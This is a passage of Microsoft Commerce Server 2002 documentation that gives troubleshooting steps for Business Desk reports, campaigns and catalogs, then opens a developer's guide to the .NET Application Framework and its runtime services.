After you have changed the configuration of Business Desk, you must restart Business Desk on the Web server in order for those changes to appear. To do this, you can open and then save the Global.asa file, which changes the "last modified" time and makes the configuration updates appear in Business Desk.

To open and then save the Global.asa file

  1. Click Start, point to Programs, point to Accessories, and then click Notepad.
  2. On the File menu, click Open. Navigate to your Global.asa file, and then double-click the file to open it. On the File menu, click Save to save the Global.asa file without changing it.
  3. To exit Notepad, on the File menu, click Exit.

Changes to the Business Desk configuration are now saved. All Business Desk client users must now close and re-open Business Desk to see the configuration changes.


Data does not appear in List Manager or Users module

Using the Users and Organizations modules to perform bulk update operations or find by operations against large user data sets may result in the process timing out.

If you are using the List Manager module against a large data set to construct a user list, the same timeout error may occur.

The operation may time out depending upon a variety of factors and you may be unable to view the data. One factor may be the large number of entities being retrieved.

Other factors for this timeout may include:

  • Server configuration
  • Network bandwidth
  • Server processing speed

Solution

You may need to perform bulk update operations using a custom script against OLE DB Provider for Commerce Server. Custom scripts are not subject to the limitations of the Session.Timeout property on the ASP intrinsic Session object. You can set the Session.Timeout property to: <% Session.Timeout = 10 %>. This sets the session timeout to 10 minutes. The Session.Timeout property has a maximum value of 24 hours.

For more information about creating custom scripts for bulk operations, see Code to Perform Bulk Operations Using ADO and SQL.

See Also

WaitOnOperation


Library not registered message or other problems with regexp

If you receive the message "Library not registered" or another message stating that you have a problem with the regexp (Regular Expression) COM object when you use Business Desk, you may need to unregister and then reregister the VBscript.dll file, which is located in the Windows System32 folder on the server.

This error message can appear on any page that contains text edit controls (EditField).

Solution

Unregister and reregister the file VBScript.dll. The following procedure assumes that Windows is installed at C:\winnt.

To unregister the file VBScript.dll

  • At the command prompt, type:

    regsvr32.exe c:/winnt/system32/VBScript.dll /u

To reregister the file VBScript.dll

  • At the command prompt, type:

    regsvr32.exe c:/winnt/system32/VBScript.dll


Users with Administrator rights cannot access Business Desk data

If you delete the Everyone user group service account in Windows, or deny permissions to that group, the administrator users are prevented from accessing Commerce Server Business Desk.

Solution

Do not delete the Everyone user group or change the default rights. For instructions about changing a service account or password, see Changing a Service Account or Password.


Run-time errors occur when you access Business Desk

When you access Commerce Server Business Desk, one of the following errors appears:

  • "A Run-time Error has occurred."
  • "Do you wish to Debug?"

Solution

Make sure that the root folder for Business Desk is configured to allow Web sharing. By default, Commerce Server allows Web sharing on these folders. Use the following procedure to allow Web sharing on a Business Desk folder.

To allow Web sharing on a Business Desk folder

  1. In Windows Explorer, navigate to the folder that contains your Business Desk application. By default this folder is located in the folder C:\Inetpub\wwwroot.
  2. Right-click the folder name (by default, the Blank Solution Site included with Commerce Server names this folder blankbizdesk), and then click Properties.
  3. In the Properties dialog box, select the Web Sharing tab.
  4. On the Web Sharing tab, click Share this folder.
  5. In the Aliases box, select blankbizdesk, and then click Edit Properties.
  6. In the Edit Alias dialog box, in the Access permissions box, select the permissions for this alias as follows:
    Permission | Effect
    Read | Allows users to read files on this site. Make sure this is selected.
    Write | Allows users to write files to this site.
    Script source access | Allows users to access script source code.
    Directory browsing | Allows users to browse the contents of this folder.
  7. In the Application permissions box, select the application permissions as follows:as follows:
    Permission | Effect
    None | Prevents users from running application files in this folder.
    Scripts | Allows users to run scripts, but not applications, in this folder.
    Execute (includes scripts) | Allows users to run scripts and applications in this folder.
  8. Click OK. In the Properties dialog box, review your list of sharing aliases, and then click OK again.


Internet Explorer cannot open the Internet site

Run Business Desk in debug mode and attempt to recreate the problem. The only significant HTML component (HTC) on the page is the ListSheet HTC. Flip the debug flag in ListSheet to receive a more detailed error message. .

Solution

Log on to Business Desk using a user account created in Business Desk. Make sure this account has the appropriate access privileges. If necessary, add Business Desk users to the Administrator group.


XML Catalog Import fails after changing the cluster group from a SQL cluster administrator

If you attempt to import an XML-based catalog and then change the active cluster node, Commerce Server returns an error and the API does not stop running.

Solution

Re-run the catalog import. For information about importing an XML_based catalog, see Importing an XML Catalog File.


Search function in Help does not return search results

When searching for words or topics in Commerce Server Business Desk Help, no search results are returned. The following error message appears:

No documents matched the query <your search text>.

Solution

Start the Indexing Service on the Web server. The Indexing Service should always be set to Autostart, because there can be a significant time lag between when the service starts and when the folder containing Business Desk Help content is available.

For more information, see "Indexing Service" in Windows 2000 Server Help.


Changing system date separators returns an error

If you change the system date separator to a character other than a slash (/), a period (.), or a dash (-), and then try to open Commerce Server Business Desk, the following error message appears:

Errors occurred while loading part of the Business Desk.

This error occurs only after restarting Internet Information Services (IIS) 5.0.

Solution

Close Business Desk and change the system date separator back to a slash (/).

To change the system data separator

  1. Click Start, point to Settings, and then click Control Panel.
  2. Double-click Regional Options, and then click the Date tab.
  3. In the Date separator box, select /, and then click OK.

    Caution

    • Restarting Internet information Services (IIS) will cause your Web site to stop running temporarily. Make certain you need to restart IIS before proceeding. For more information see, Restarting IIS and Commerce Server Services.
  4. Restart IIS.
  5. Reopen Business Desk.

To restart IIS

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. Click the plus (+) sign to expand your server name group.
  3. Right-click Default Web Site, and then click Stop.
  4. Right-click Default Web Site, and then click Start.

IIS is restarted and you can re-open Business Desk.


Troubleshooting Business Desk Analysis

  • Cannot run reports
  • Reports do not render or return no data
  • Static Report Execution Information dialog box persists to display
  • Report appears without data
  • Buyer Browse to Purchase report error
  • Dynamic SQL reports cannot be viewed
  • SQL Server-based dynamic reports use large amounts of memory
  • Static report date values do not match Regional Option settings
  • Static report fails to run
  • Missing member name for key number
  • Cannot view Segment models


Cannot run reports

You attempt to run reports from the Reports module and nothing happens. If you are trying to run a static report the report contains no data.

If you are running a dynamic report, one of the following error messages appears:

  • Either EOF or BOF is true, or the current record has been deleted.
  • <Report name> cannot be queried. Have your system administrator check that the cube exists, has been processed, and that it contains data. You process cubes by running the appropriate commerce server DTS tasks.

Solution

Contact your system administrator. Your system administrator must import data into the Data Warehouse before the report can be run successfully.


Reports do not render or return no data

Some of your reports either return no data (the pivot table is empty), or the report is rendered, but shows no data. This issue affects the following reports:

  • Buyer Browse to Purchase
  • Order Events
  • Shopping Basket Events
  • Buyer Visits

Solution

Make sure that the Profile, Transaction, and Web log Data Warehouse import tasks are running. These tasks control the process of importing the user and sales data into the Data Warehouse. If these tasks have not been run, or they have failed for some reason, the data necessary to build the Buyer Visits cube will not be present in the Data Warehouse and the Report preparation task will fail.

For information about troubleshooting the Data Warehouse import process, see Troubleshooting the Data Warehouse Import Process.


Static Report Execution Information dialog box persists to the display

When you run a static report in Analysis with double-byte characters in the Site name, the Static Report Execution information dialog box persists to the display even after you select No to not display the dialog box.

Solution

To use only ASCII characters for the Site name when setting up a site. Otherwise, when you run the static report, select No in the dialog box. Run the static report again and refresh the Analysis module by clicking on the Analysis link on the left pane. The dialog box should not appear.


Report appears without data

Your dynamic report appears in the browser window without any data. Commerce Server Business Desk supports up to 250,000 members per dimension in dynamic reports. If you run a dynamic report against a data set that contains more than 250,000 members per dimension, Office XP Web Components (OWC) times out, and the report appears in the browser window without any data.

Solution

If your data contains dimensions larger than 250,000 members, contact your system administrator to request a custom static report to analyze the data.


Buyer Browse to Purchase report error

If you run the Buyer Browse to Purchase report and an error message appears, it may be that MSCSProfile tickets are turned off. As a result, no registered user data is imported into the Data Warehouse and no registered user data is added to the BuyerVisits cube. No registered user data is available for the Buyer Browse to Purchase report.

If MSCSProfile tickets are disabled, they are not imported into the Data Warehouse.

Solution

Your system administrator can resolve this in one of three ways:

  1. Enable MSCSProfile tickets, import user data into the Data Warehouse, and then run the Report preparation Data Transformation Services (DTS) task. Run the Buyer Browse to Purchase report again. For information about MSCSProfile tickets, see MSCSProfile Tickets.
  2. Add custom static reports that report on buyer activity by registered user for anonymous registered users. Anonymous registered users have a null value for the Logon_Name in the dbo.RegisteredUser table. Run this report instead of the Buyer Browse to Purchase report. For information about creating custom static reports, see Creating Custom Reports.
  3. Delete the RegisteredUser shared dimension from the Basket and Web Usage cubes. You can add the RegisteredUser shared dimension back after MSCSProfile tickets are again enabled. Run the Buyer Browse to Purchase report again. The report will not display registered user data.


Dynamic SQL reports cannot be viewed

After data and log files have been imported into the Data Warehouse and you have run the Report preparation Data Transformation Services (DTS) task, you run a dynamic SQL Server report and the pivot control returns the following error message:

The pivot table list 'Pivot Table' could not connect to the data source. For information about the data source, consult the creator of the file. (0x80040e4d).

If you are viewing a dynamic report that is accessing a SQL Server database to which you have not been granted read or write permissions, then you will not be able to view the report. This issue does not affect dynamic online analytical processing (OLAP) reports.

The following reports are affected:

  • Ad Reach and Frequency per Campaign
  • Ad Reach and Frequency per Campaign Item
  • Ad Reach and Frequency per Day
  • Campaign Item Summary
  • Distinct Users and Visits by Week
  • Distinct Users by Day
  • Registered Users by Date Registered
  • User Days to Register
  • User Registration Rate
  • Visits by Browser, Version, and OS

Solution

You must have read and write privileges on the database that is being accessed by the reports. Your system administrator may want to define a user group in Microsoft Windows 2000 with read/write privileges to the SQL Server database. Then your system administrator can add users who require these privileges.

To define a user group with read/write privileges

  1. Create a new user group in Windows 2000. Add any users you want to include in this group.
  2. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  3. Expand the console root node to the following path: Microsoft SQL Servers/<server name>/Security/Logins.
  4. Right-click Logins, and then select New Login.
  5. In the SQL Server Login Properties - New Login dialog box, on the General tab, in the Name box, type the new group login name.

    Or, to browse to the new group name, click Ellipsis.

  6. Select SQL Server Authentication, and then enter a password for the group.
  7. Click Add, and then click OK.
  8. On the Database Access tab, select the Permit box option for the database for which you are granting permissions, for example, Retail_dw.

    The new group login name appears in the User column.

  9. In the Database roles box, select the Permit boxes for db_datareader and db_datawriter, and then click OK.

You can now add yourself and any users to this group for access to dynamic SQL Server reports.


SQL Server-based dynamic reports use large amounts of memory

Send feedback about this page Commerce Server 2002

SQL Server–based dynamic reports use large amounts of memory

When you run a SQL Server–based dynamic report, the PivotControl will try to load all data into memory before displaying the report. For example, running the Ad Reach and Frequency per Campaign Item report, with 400,000 rows in one of the primary tables, results in the system memory use increasing to about 700 megabytes (MB).

Solution

Be aware of memory use and plan accordingly when you run SQL Server–based dynamic reports.

See Also

Creating a New Dynamic Report Definition


Static report date values do not match Regional Option settings

The header date in a static report and the date values in the data itself do not follow the date format or the date separator specified in the Regional Option settings.

Dynamic reports do follow the format that is specified in the Regional Option settings.

Solution

This is by design. There are no locale properties for the Office Web Components. The Office Web Components always use the properties read from the client computer. This differs from the rest of Business Desk in which locale properties can be set and are propagated to the other Business Desk pages, including the static reports.


Static report fails to run

When you attempt to run a static report, no report is generated and all the task bar buttons are disabled. An error message appears stating that an Internet Information Services (IIS) COM failure has occurred because IIS was reset.

Solution

Contact your system administrator to check whether IIS was reset while you were running static reports. If IIS was reset, close Commerce Server Business Desk and then reopen it. Then run the static report again.


Missing member name for key number

If you are running the Ad Placement – PageGroup dimension report or the Product Sales – Customer dimension report, you might see "Missing Member Name for Key#" in the report. This error happens when data imported into the Data Warehouse is missing required unique values.

Solution

Use one of the following solutions:

  • Ad Placement report. Contact your system administrator to run the Campaign data import Data Transformation Services (DTS) task and then rerun the Report preparation DTS task. This problem occurs when the data has been deleted from the source database.
  • Product Sales Report. Contact your system administrator to run the Profile data import DTS task, and then rerun the Report preparation DTS task. This problem occurs when the data has been deleted from the source database.


Cannot view Segment models

When you open the Segment Viewer in Commerce Server Business Desk, the screen is blank.

Solution

Contact your system administrator. Your system administrator must build Segment models before you can view them.


Troubleshooting Business Desk Campaigns

  • Cannot run Direct Mailer job
  • Direct Mailer job fails without an error message
  • Cannot save a direct mail campaign
  • Campaign items do not appear as expected on the Web site
  • Data does not appear in List Manager
  • Cannot update the Web site to include your new campaign item(s)
  • Cannot preview image files


Cannot run Direct Mailer job

You have a Direct Mailer job that has not run, and you have not received any error messages.

Solution

Contact your system administrator. If the Direct Mailer job is a personalized direct mail campaign, the system administrator might have blocked the Direct Mailer job for performance reasons. If you do not have a dedicated Web server for direct mail, the system administrator might have set the campaign item to start at a low traffic time, since it will be accessing the Web server just like users. Depending on the volume of the direct mail list, this could affect Web server performance.


Direct Mailer job fails without an error message

You have a Direct Mailer job that has failed to start, and you have not received an error message informing you of the reason for the failure.

Solution

Contact your system administrator. This failure might be caused by one of several conditions. For example, if SQL Server Agent is stopped when a scheduled Direct Mailer job is scheduled to run, the job will not run and the failure is not logged. There is no indication that the job did not run. Your system administrator must start the job manually from the SQL Server Agent control in SQL Server Enterprise Manager.


Cannot save a direct mail campaign

If SQL Server Agent is not running when you create a direct mail campaign, you will not be able to save the campaign. Commerce Server Business Desk becomes non-responsive before the SQL Server Agent message appears stating that the server is not running.

Solution

Contact your system administrator for assistance. Your system administrator can start SQL Server Agent, and then you can save the direct mail campaign.


Campaign items do not appear as expected on the Web site

Ad campaign items and discount campaign items that have been created do not appear on the Web site.

Solution

When you create a new ad by using the Campaign Manager module, the ad is inactive until you publish the ad or it is detected in the regular refresh cycle. By default, ads are automatically published every five minutes. Discounts, however, must be manually published because they are not automatic. Also, if you have created an ad or discount in advance and left it inactive, you need to reopen the ad or discount and activate it.

Note

  • Before you update an ad campaign on a new site, you must first visit the Web site. Each server in the Web farm must be updated before a campaign item can be sent to production.

The following table lists additional situations to check for if your ad or discount is not appearing on the Web site.

Description | Solution
Has the campaign item been published? | If not, then use the Publish Campaigns module to publish your campaign.
Is the ad or campaign item status active? | If not, then open the ad or campaign item and change the status to active.
Have you defined a quantity or weight? | For paid ads, you need to specify a quantity or weight for the ad campaign.
Are there conflicting targeting, industry code, or exposure limits? | Check to see if any targeting, industry code, or exposure limits relating to this ad might be preventing it from running.
Is the ad or campaign date out of range? | Check to see if the ad or campaign date is too far into the future.
Is another ad appearing in place of the ad you expect to see? | If so, check to see if there is another ad with a higher Need of Delivery (NOD) that is overriding your ad.
Is the ad set to run on old page groups? | If you have redesigned your Web site, the ad might be scheduled to run on previous page groups. You must set up new ads if you have a new Web site.
Is the ad a house ad? | If the ad is set up as a house ad, it will not appear on the Web site until all paid ads are meeting their NOD.
Is a targeting expression preventing the ad from appearing? | If site visitor properties do not meet the definition of the targeting expression, the ad will not appear.
Is the ad space limited by size? | If the Web site ad space is limited to a specific content size and your ad is not of that size, your ad will not appear.


Data does not appear in List Manager

Performing update operations or find by operations against large user data sets through the Users module might result in the process timing out.

The operation might time out depending upon a variety of factors and you might be unable to view the data. One factor could be the large number of entities being retrieved.

Solution

Contact your system administrator for assistance. Your system administrator can find the solution to this error in Commerce Server 2002 Help.


Cannot update the Web site to include your new campaign item(s)

If you do not have the appropriate permissions or you experience database connectivity problems, the Web site will not be updated to include the new campaign item(s).

Solution

Contact your system administrator for assistance. Your system administrator can grant you the appropriate permissions and solve your database connectivity problems.

In addition, publishing a campaign requires an ASP page called Bdrefresh.asp that must exist in the root directory of the site on each Web server.


Cannot preview image files

If your Business Desk is based on the SupplierActiveDirectory Solution Site and AuthFilter is enabled, the authentication code will not allow you to view an image file.

Solution

Contact your system administrator for assistance. To preview an image file in Business Desk, anonymous access must be enabled to any image file that is stored in the Business Desk virtual root folder. For information about enabling anonymous access, see Enabling AuthFilter for the Supplier Solution Site.


Troubleshooting Business Desk Catalogs

  • Cannot import a catalog
  • Cannot send a catalog to a trading partner
  • Web site generates error that item cannot be found in the collection
  • Cannot refresh catalog cache
  • Users cannot search the Web site catalog
  • Ads or discounts do not appear on the Web site


Cannot import a catalog

When you attempt to import a catalog, the import fails. If, for example, the catalog file is located in C:\Documents and Settings\<username>\Desktop, the import fails because of the location. The message "Catalog import process has been started successfully" appears, but when you click Catalog Editor to reload the page, the catalog is not imported.

Solution

Contact your system administrator. When you run Commerce Server Business Desk in Internet Information Services (IIS) Medium Isolation mode, you do not have access to system folders like Desktop. To import the file from the desktop, use the upload local file option.

The following table lists additional situations to check for if the catalog import does not complete.

Description | Solution
You have imported a catalog and you get a message stating that the import is in progress. However, when you click Catalog Editor to reload the page, the catalog does not appear. | If you import a catalog that contains a product definition with properties that differ from an existing product definition of the same name, the import fails. To prevent this, run the import in validation mode to verify that product definition properties are consistent throughout all catalogs.
Using the Catalog Editor module, you have attempted to import an XML catalog, but the import fails. | Make certain you are using the complete file path and name for the catalog or that the catalog is in the CommerceCatalogs share on the server running the Business Desk application. Your system administrator can assist you by getting the catalog onto the server.


Cannot send a catalog to a trading partner

You have created a trading partner catalog and cannot send it to a trading partner.

Solution

Verify that your system administrator has set up Microsoft BizTalk Server 2002 and has properly configured Commerce Server for document exchange.


Web site generates error that item cannot be found in the collection

You create a catalog that does not include any product descriptions. When a user clicks a product on your Web site, an error similar to the one below is displayed:

Error Type
ADODB.Recordset (0x800A0CC1)
Item cannot be found in the collection corresponding to the requested name or ordinal

The Solution Sites expect properties such as Name and Description to be present in each catalog. These are not built-in properties. If they are not included in the catalog, the error is generated.

Solution

Verify that your catalog includes a name and description for each product. If it does not include these, add the properties to your catalog.


Cannot refresh catalog cache

When you click Refresh in the Catalog Editor in Business Desk, you might receive the following error message:

An error occurred while refreshing the catalog cache for:<BR><BR><B>%1</B>.

Solution

If your site was migrated from Commerce Server 2000, the updated BDRefresh.asp file should be copied from the updated retail site in Commerce Server 2002.

In addition, it is possible that the caches were not configured correctly. Compare the naming and configuration of Business Desk caches to those used in the Retail Solution Site.


Users cannot search the Web site catalog

Members of ctlg_CatalogReaderRole group must have db_owner permissions on the MSCS_CatalogScratch database. The MSCS_CatalogScratch database is a temporary database with no persistent data, and does not present a security issue. If users visiting your site do not have access to the MSCS_CatalogScratch database, they will not be able to search your product catalog.

Solution

Run the CatalogSecurityRoles.sql script and grant users the appropriate access.


Ads or discounts do not appear on the Web site

The ads or discounts you created and expected to see on your Web site do not appear.

Solution

Check the start date and the end date for the ad or discount and ensure that the customer, campaign, and campaign item are active.

If the ad or discount still does not appear, your system administrator can troubleshoot this problem in one of two ways:

  • To use the TraceScores.asp file
  • Using the DumpContentList.asp file

To use the TraceScores.asp file

  1. Copy the TraceScores.asp file from Program Files\Microsoft Commerce Server\SDK\Samples\Marketing\Debug into the virtual directory for your site.
  2. Modify the code that creates the ContentSelector object to add a line to include the TraceScores.asp file.
  3. Add a line that sets the Trace property to True.
  4. Add a line that calls the TraceScores subroutine.

Code Example

The following code example for the TraceScores.asp file contains the added lines in bold type:

<!-- #include file="TraceScores.asp" -->

<%
    ' Create a ContentSelectorObject
    Set CSO = Server.CreateObject("Commerce.ContentSelector")
    CSO.Trace = true
    ' Use the GetContent method to get some content. Use the dictionary
    ' previously created in the Global.asa and referenced through the
    ' Application collection.
    Set Ads = CSO.GetContent(Application("CSFAdsContext"))
    ' Ads is a SimpleList containing the selected content.
    ' Write the content to the page, if any.
    For Each Ad in Ads
        Response.Write(Ad)
    Next
    Response.Write("<P>")
    Call TraceScores(CSO)
%>

Output Example

When tracing is enabled, all modifications to content item scores are tracked. The ad modifications found by the TraceScores.asp file are shown in bold type in the following example:

ad: Volcano erupts (item_id=1) score: 1.028331

Commerce.CSFAdvertisingNeedOfDelivery,=1.89,Paid Ad Need of Delivery.
Commerce.CSFHistoryPenalty,*0.54,Reselect penalty applied

ad: Cuckoo clock (item_id=2) score: 1.112223

Commerce.CSFAdvertisingNeedOfDelivery,=1.89,Paid Ad Need of Delivery.
Commerce.CSFHistoryPenalty,*0.59,Reselect penalty applied

ad: MSPress (item_id=3) score: 1.012156

Commerce.CSFAdvertisingNeedOfDelivery,=2.02,Paid Ad Need of Delivery.
Commerce.CSFHistoryPenalty,*0.50,Reselect penalty applied

ad: Trey Research (item_id=4) score: 1

Commerce.CSFAdvertisingNeedOfDelivery,=1.00,House Ad Need of Delivery (Weight)

If the ad you expected to see does not appear in the trace, then it was not loaded into the cache. In Commerce Server Business Desk, in the Publish Campaigns module, republish the campaign to the server.

Note

  • When the TraceScores flag is set to On, the performance of Content Selection Framework (CSF) pipelines is significantly degraded.

Using the DumpContentList.asp file

The DumpContentList.asp file is another tool your system administrator can use to troubleshoot problems with threads and discount features. This tool displays all the ads or discounts that are currently loaded into memory and all their properties. It also shows the schema of the ContentList object. It can be used to dump the contents of either a ContentList object or a ContentListFactory object.

To use DumpContentList.asp

  1. Copy the DumpContentList.asp file from Program files\Microsoft Commerce Server\SDK\Samples\Marketing\Debug into the virtual directory for your site.
  2. Modify the code that creates the ContentSelector object to add a line to include the DumpContentList.asp file.
  3. Add a line that calls the DumpContentList subroutine.

Code Example

The following example shows the added lines in bold type:

<!-- #include file="DumpContentList.asp" -->

<%
    ' Create a ContentSelectorObject
    Set CSO = Server.CreateObject("Commerce.ContentSelector")
    ' Use the GetContent method to get some content. Use the dictionary
    ' previously created in the Global.asa and referenced through the
    ' Application collection.
    Set Ads = CSO.GetContent(Application("CSFAdsContext"))
    ' Ads is a SimpleList containing the selected content.
    ' Write the content to the page, if any.
    For Each Ad in Ads
        Response.Write(Ad)
    Next
    Response.Write("<P>")
    Call DumpContentList(CSO.Value("Order").Value("_Content"))
%>

See Also

Campaign items do not appear as expected on the Web site

Tracing and Debugging


Troubleshooting Business Desk Profiles

  • Supplier Site: Cannot properly refresh the site profile cache with a deleted user
  • Names stored in Active Directory have size restrictions


Supplier Site: Cannot properly refresh the site profile cache with a deleted user

If you remove a user by performing a delete command on a site, the profile cache does not update. When you try to recreate the same user on the site, it will produce one of two errors: "Error Adding User to Active Directory Group" if the user was deleted on the site, or "User already exists" if the user was deleted from within Business Desk.

Solution

Update the site profile cache in the Publish Profiles module in Business Desk.


Names stored in Active Directory have size restrictions

If your Commerce Server Business Desk module relies on data stored in Active Directory common names, the maximum length for a string is 64 characters. In addition, organization names stored in Active Directory include a group name (either _Admingroup, which constitutes 11 characters, or _Usergroup, which constitutes 10 characters).

Solution

If you are storing an organization name in Active Directory, the maximum length for the combination of the organization name and the group name is 64 characters. Make sure your name is within this limit.


Developer's Guide

Send feedback about this page Commerce Server 2002 SDK

Developer’s Guide

Microsoft Commerce Server 2002 provides the tools and services that enable you to develop a world-class commercial Web site more quickly and easily. This section introduces you to Commerce Server development, and provides conceptual information about the various aspects of Web site development using Commerce Server.

This section contains:

  • Commerce Server .NET Application Framework. Describes the components of the Commerce Server .NET Application Framework, and explains how to use the integrated Microsoft Visual Studio .NET tools to build a .NET-based Commerce Server application.
  • Retail2002: International Retail Site. Explains how to use the .NET International Retail Site to build a .NET-based Web site.
  • Extending Commerce Server. Describes how to extend the resources included in Commerce Server.
  • Software Development Kit. Provides instructions about how to use samples and scripts included in the Commerce Server Software Development Kit.
  • Developing an International Site. Provides guidance for developing an international site with localized text, dates, times, and currencies.
  • Commerce Server Solution Sites. Provides an overview of the Commerce Server Solution Sites, including the site features, site infrastructure, site development, and reference information.
  • Programmer's Reference. Provides reference information about programming with the Commerce Server 2002 programming platform.


Commerce Server .NET Application Framework

The Commerce Server .NET Application Framework brings the Microsoft .NET Framework developer experience to Commerce Server. It allows developers to create Commerce Server applications using the new features of the .NET Framework. Two of the new features are the Base Class Library and Common Language Runtime Interop Layer. These additions allow ASP.NET code to run core COM-based Commerce Server services and systems.

This section discusses the programmatic components of the Commerce Server .NET Framework, and also discusses Commerce Server features and tools available in the Microsoft Visual Studio .NET environment that simplify and expedite the creation of .NET-based Commerce Server applications.

This section contains:

  • Programmatic Components of the Commerce Server .NET Application Framework. Describes the programmatic components of the Commerce Server .NET Application Framework.
  • Building a .NET-Based Commerce Server Application. Explains how to use the integrated Microsoft Visual Studio .NET tools to build a .NET-based Commerce Server application.

See Also

.NET Class Reference


Programmatic Components of the Commerce Server .NET Application Framework

The Commerce Server .NET Application Framework introduces the Base Class Library and the Common Language Runtime Interop Layer to the Commerce Server platform. The Base Class Library and the Common Language Runtime Interop Layer enable Commerce Server objects and services to be utilized within ASP.NET. In addition, the Commerce Server .NET Application Framework uses a new application runtime that simplifies the process of building new Commerce Server applications.

The Base Class Library enables developers to access most pre-existing Commerce Server COM objects through a programming model consistent with the Common Language Specification (CLS) and the .NET Framework design guidelines. Internally, many of the classes in the Base Class Library use existing Commerce Server COM objects.

Between the Base Class Library and the Commerce Server COM platform is the Common Language Runtime Interop Layer, primarily composed of the Primary Interop Assemblies. The Primary Interop Assemblies contain the runtime callable wrapper (RCW) classes that permit the common language runtime to interact with COM objects. For each COM DLL file containing run-time objects, a Primary Interop Assembly is provided.

You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Base Class Library manages the lifetime of the underlying COM objects for you, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

The following figure shows the internal workflow for how the components in the platform communicate to fulfill a request from a user.

Commerce Server .NET Application Framework

Depicts the Commerce Server .NET Application Framework.

For reference information pertaining to the members of the Base Class Library and the Primary Interop Assemblies, see .NET Class Reference.

This section contains:

  • Commerce Server Application Runtime
  • Base Class Library
  • Common Language Runtime Interop Layer

See Also

Commerce Server .NET Application Framework Tutorial


Commerce Server Application Runtime

The run-time components that previous versions of Commerce Server provided for use in applications all required their own initialization data. Initializing these components required many lines of code in the global.asa file and additional initialization code on each ASP page. However, the architecture of ASP.NET enables the encapsulation of component initialization and configuration into a set of components that extend the core run-time services provided by ASP.NET. The new set of components is made up of HTTP modules and Configuration Section Handlers. From within the Init methods of the HTTP modules, the modules are initialized based on the data in the web.config file. The automation and encapsulation of this process provides a significant reduction in the amount of code you have to write and debug to create and run an application.

The following topics describe the services provided by the Commerce Server Application Runtime and how they are used within the application and request lifecycles.

This section contains:

  • Application Lifecycle
  • Request Lifecycle
  • Run-Time Services
  • Configuration Services
  • Commerce Modules


Application Lifecycle

This topic describes the workflow of the application when an ASP.NET application starts.

  1. A request arrives and the ASP.NET runtime creates an AppDomain for the application. It then creates the first instance of the HttpApplication class within the AppDomain. The AppDomain might create subsequent instances of the HttpApplication class, because ASP.NET can create a pool of instances. Each request to the Web server is serviced by a single instance of the HttpApplication class.
  2. ASP.NET fires the OnStart event. This is normally synced by the Application_Start event handler in the global.asax file.
  3. The HttpApplication class creates and initializes the HTTP modules for servicing the application request. Modules are initialized in the order in which they appear in the web.config file. Some of the HTTP modules created are Commerce Modules. The Init method for each module is called, in which the module can subscribe to other request-processing events raised by the HttpApplication class.
  4. The Init method of the HttpApplication class is called. The Init method is a virtual method that can be overridden in the global.asax file; however, unlike the Application_Start event handler, the Init method is called once per HttpApplication class instance.
  5. Before ASP.NET terminates the AppDomain, the OnEnd event is raised by the HttpApplication class.

See Also

Request Lifecycle


Request Lifecycle

This topic describes how the services provided by the Commerce Server .NET Application Framework are used when completing an application request.

  1. When a new request is received, the ASP.NET runtime raises the BeginRequest event. All subscribers to that event are then called in a deterministic order. Next, the CommerceApplicationModule class creates an instance of the CommerceContext class. The current CommerceContext instance can then be accessed from any object by accessing the static property CommerceContext.Current.
  2. The other Commerce Modules that subscribe to the BeginRequest event are called. Each module has the option of setting some state in the current CommerceContext instance. For example, the CommerceCatalogModule class, if configured in the web.config file, copies a reference from its instance of the CatalogContext class into the current instance of the CommerceContext class.
  3. The Web form is run.
  4. The EndRequest event is raised and its subscribers are called. The CommerceApplicationModule class disposes of the CommerceContext object. When the CommerceContext object is disposed of, it also disposes of all resources that were registered with it during processing of the page.

See Also

Commerce Modules

Application Lifecycle

Run Time Services

CommerceContext Class

CommerceApplicationModule Class

CommerceCatalogModule Class


Run Time Services

.NET-based Commerce Server applications require two types of run time services — application services and page services. Application services are the services and data used by the entire application and globally available to all user sessions, such as the Profiling system and the Product Catalog System. Page services are the services and data used only by an individual page and available only within the scope of a user's visit to a site, such as the user's profile.

Application Services

Page Services

Application Services

The Commerce Server Application Runtime simplifies the development of .NET-based Commerce Server applications. The Commerce Server Application Runtime configures Commerce Server application services based on configuration information in the web.config file and makes them easily accessible at run time.

This topic describes the application services provided by the Commerce Server Application Runtime.

Site Resource Settings

Authentication

Address Mapping

Cache Management

Catalog Retrieval

Commerce Event Logging

Creation of Content Selection Applications

Pipeline Management

Profile Retrieval

Resource Localization

Site Resource Settings

A site resource is an entity that provides functionality to the applications in a Commerce Server site. The Web pages of an application use these resources. Site resource configuration settings are available and stored globally within the Commerce Server Application Runtime, and can be accessed through the CommerceContext.Current.Resources property. For more information about the CommerceContext.Resources property, see CommerceContext.Resources Property (BCL)

Authentication

During the OnBeginRequest event, if detection is enabled in the authentication tag of the web.config file, the CommerceAuthenticationModule class automatically detects whether the client supports cookies. The CommerceAuthenticationModule automatically adds a test cookie, creates an instance of the AuthenticationInfo class, and sets the appropriate values for the AuthenticationInfo.SupportsPersistentCookies and AuthenticationInfo.SupportsSessionCookies properties. If cookie detection is not enabled, the value of the AuthenticationInfo.SupportsPersistentCookies and AuthenticationInfo.SupportsSessionCookies properties keep their default value of False.

Use the QueryStringBuilder class, which is available from the CommerceContext class, to build your URLs. The QueryStringBuilder class puts the authentication ticket and/or profile ticket information into the query string if cookieless mode is enabled. You use the QueryStringBuilder.BuildUrl method in any place where you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket is not passed on to the next request. If the CommerceAuthenticationModule is enabled in the web.config file, it automatically detects whether the browser supports cookies and populates the query string appropriately.

Note that on the first request to the site, there is no auto-redirect for cookie detection and the default setting for the QueryStringBuilder.CookieSupport property is False, so it is assumed that the browser does not support cookies.

For more information about the CommerceAuthenticationModule, see Commerce Modules and CommerceAuthenticationModule.

Address Mapping

The Commerce Server Order System and the Profiling System store address data in two different formats. This is due to how the two systems represent the data in their run-time objects. The Commerce Server Application Runtime provides a method of automatically mapping data stored in the Profiling System to the Order System, and provides a unified representation of that data at run time. This mapping is configured in the web.config file. For more information about address mapping, see Configuration Services and addressMap Tag.

Cache Management

Commerce Server applications are dependent on the CacheManager object for caching data from the Targeting and Product Catalog systems. The Commerce Server Application Runtime provides access to the CacheManager object services for configuration during the run-time operation of the application. For more information about configuring caches stored within the Commerce Server Application Runtime, see Configuration Services, CommerceCache, Caching.CommerceCacheCollection, and CommerceContext.Current.

Catalog Retrieval

